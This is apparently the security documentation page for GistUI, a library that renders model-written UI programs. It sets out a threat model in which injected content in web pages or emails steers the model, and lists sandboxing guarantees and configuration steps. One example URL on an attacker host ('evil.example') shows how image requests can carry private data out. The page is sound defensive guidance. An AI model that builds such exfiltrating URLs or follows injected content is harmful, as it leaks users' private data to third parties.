Skip to content

Security

The threat model for rendering model-written UI, what GistUI guarantees, and what you must configure yourself.

Updated View as Markdown

A GistUI program is untrusted input. A model wrote it, and the model may have been steered by content it read: a web page, an email, a document. Treat a program the way a browser treats a web page from a stranger.

What a program cannot do

Run code Expressions are interpreted by a small evaluator. Nothing is compiled or passed to eval or new Function, so a strict Content-Security-Policy works.
Insert HTML Strings are text. Markdown is rendered without raw HTML.
Change anything by being shown Rendering calls only read-only tools. mutations run only on a button press.
Open arbitrary URL schemes @open and links allow http, https, mailto and tel only.
Run without bound Nesting, node counts, loop sizes, evaluation steps, timers and tool calls all have limits.

What you must configure

Keep read and write apart

Put a function under tools only if calling it changes nothing. A query may run the moment the UI renders, with arguments the program chose. Anything with a side effect goes under mutations. See Tools and live data.

Limit where media loads from

An image URL can carry data to another server without a click: https://evil.example/p.png?d=<your data>. When the model sees private data, set allowedHosts.

<GistUI allowedHosts={["cdn.example.com", "*.example.com"]} />
allowedHosts A URL the program wrote out A URL the program assembled from data
not set loads from any host not loaded
set loads only from listed hosts loads only from listed hosts

Relative URLs and your own host always load. A refused URL is reported as blocked-url.

Favicons

Source cards can show site icons. It is off by default, because each icon is a request to a third-party service for every cited site. favicons={true} uses a public service; a string is your own URL with {host}.

Check tool calls

onToolCall(call) runs before every tool call with { name, args, kind, nodeId }. Return false to block it. Use it to log, to validate arguments, or to ask the person first.

Validate on the server

A form’s values were validated in the browser. Validate them again on your server with the schema that comes with the submit. See Actions and forms.

Mark messages that come from the UI

When a button’s text goes back to the model as the next message, the model should know a program chose that text, not the person. @gistui/chat wraps such messages (origin: "ui"). If you build the loop yourself, do the same.

Tokens are trusted

tokens and darkTokens are inserted into CSS. Build them from your own code only, never from model output or user input.

API keys

Call models from your server. The chat adapters accept an apiKey for local prototypes and warn in the console when one is used in a browser.

Reporting a vulnerability

Please report security problems privately through the repository’s security advisories, not in a public issue.

The normative version of these rules is section 23 of the format specification: see Protocol: the format.

Navigation

Type to search…

↑↓ navigate↵ selectEsc close